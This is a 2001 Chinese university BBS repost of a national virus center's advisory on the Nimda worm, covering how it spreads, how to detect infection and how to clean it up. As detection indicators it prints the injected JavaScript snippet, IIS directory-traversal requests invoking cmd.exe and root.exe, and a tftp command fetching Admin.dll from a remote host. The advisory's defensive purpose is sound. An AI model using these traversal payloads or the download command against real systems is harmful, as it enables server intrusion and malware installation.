荔园在线
荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: xhjx (I wait for you), 信区: Virus
标 题: 国家计算机病毒应急中心NIMDA蠕虫的解决方案
发信站: 荔园晨风BBS站 (Sun Nov 11 21:48:18 2001), 站内信件
一、攻击的目标系统：
该病毒可以感染Windows 95, 98, ME, NT,或者2000 ，以及 Windows NT and
2000服务器。
二、传播方式：
1、通过邮件传播出，当用户邮件的正文为空，似乎没有附件，实际上邮件中嵌入
了病毒的执行代码，当用户用OUTLOOK、OUTLOOK EXPRESS（没有安装微软的补丁包
的情况下）收邮件，在预览邮件时，病毒就已经执行了。
2、利用了IIS的漏洞，采用与“红色代码II”和“蓝色代码”类似的方式，
通过网络传播。
3、通过局域网的共享传播到其他系统。
4、感染EXE文件。
5、在html、asp文件中插入如下内容：
<html><scriptlanguage="JavaScript">window.open("readme.eml", null,
"resizable=no,top=6000,left=6000")</script></html>
使得用户浏览感染病毒的网站时，导致用户感染此病毒。
三、如何判定感染Nimda蠕虫病毒
1、感染此病毒的NT和2000服务器，在WINNT\SYSTEM32\LOGFILES\W3SVC1目录下的
日志文件中含有以下内容
GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET
/msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c..
/winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir
GET, /scripts/..%5c../winnt/system32/cmd.exe
如果日志存在以下内容，则表明该系统已受到感染，
/c+tftp%20-i%2010.88.40.89%20GET%20Admin.dll%20c:\Admin.dll
2、感染病毒的Windows NT和2000系统中存在大量的readme.eml病毒文件和后缀为
nws 的文件，长度为78K。在各个分区的根目录下存在Admin.dll文件（如：c:
\admin.dll、 d:\admin.dll），其文件长度为56K（57344字节） 。在system目录
下存在mmc.exe文件 ，文件长度也为56K。在c:\innetpub\scripts目录下存在
tftpxxx的文件。这些都是病毒 代码。
3、Windows 9X系统中的system.ini文件内容被修改
正常情况为：Shell = explorer.exe
感染病毒后变为：Shell = explorer.exe load.exe -dontrunold
4、在Windows 9x系统下，存在如下文件load.exe、 riched20.dll，这些文件都是
系统的 ，隐含的属性，需要修改文件 。磁盘的可写目录中存在很多后缀为eml的
文件。
5、感染病毒的系统中，在c:\tmp目录下存在大量的mepxx.tmp.exe和mepxx.tmp文
件。这 些都是病毒代码。
四、解决方案 ：
1、与网络断开，同时去掉磁盘的网络共享，防止进一步通过内网传染。
2、下载安装补丁程序
对于安装IIS的NT/2000服务器，要下载安装如下补丁:
http://www.microsoft.com/technet/security/bulletin/MS01-044.asp
对于所有的IE浏览器（5.0版本以上的系统），要下载安装如下补丁:
Http://www.microsoft.com/technet/security/bulletin/MS01-020.asp
3、Windows 9x系统需要将system.ini中的Shell = explorer.exe load.exe
-dontrunold 改为
Shell = explorer.exe
4、删除wininit.ini文件中的内容。
5、用干净的 Riched20.DLL（大约100k）文件替换染毒的同名Riched20.DLL文件（
57344字节）,或重装Office。
6、如果使用的是WinNT或者Win2000，打开“控制面板|用户和密码”，将
Administrator组中的guest帐号删除。
7、升级杀毒软件，然后使用杀毒软件清除系统中的病毒程序，必须注意由于杀读
软件缺省 设置是检测程序文件，为了防止漏杀eml、tmp等带毒文件，清务必将杀
毒软件设置为检 测、清除所有文件。
8、检测清除后，请重新启动系统，再次检查系统中是否还存在第三项中2、4、5子
项中描 述的病毒文件。如果没有则表明已清除病毒。
9、NT/2000用户还需检查在WINNT\SYSTEM32\LOGFILES\W3SVC1目录下的日志文件中
是否还含有以下内容
GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
10、安装了邮件防病毒网关的邮件服务器要及时进行升级，可有效防止病毒从邮件
传播。
如果存在这些内容，则表明系统还在遭受其他染毒系统的攻击，但是不会再感染病
毒。请将日志文件发给我中心，以协助我们通知其他感染病毒的用户。
--
┏──┓ ┏──┓
│┏──┓ ┌以 ┐ ┌─速 │┏──┓
━┼思念┼━━───────────────────────┼蔓延┼─ -→
┗──┛│─总是 ─┘ 让人 ─难以接受的 ──┘ 度─ ┗──┛│
┗──┛ ┗──┛
___________________________________________________________________ xhjx
※ 修改:·xhjx 於 Nov 11 21:49:35 修改本文·[FROM: 192.168.48.234]
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.48.234]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接：深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店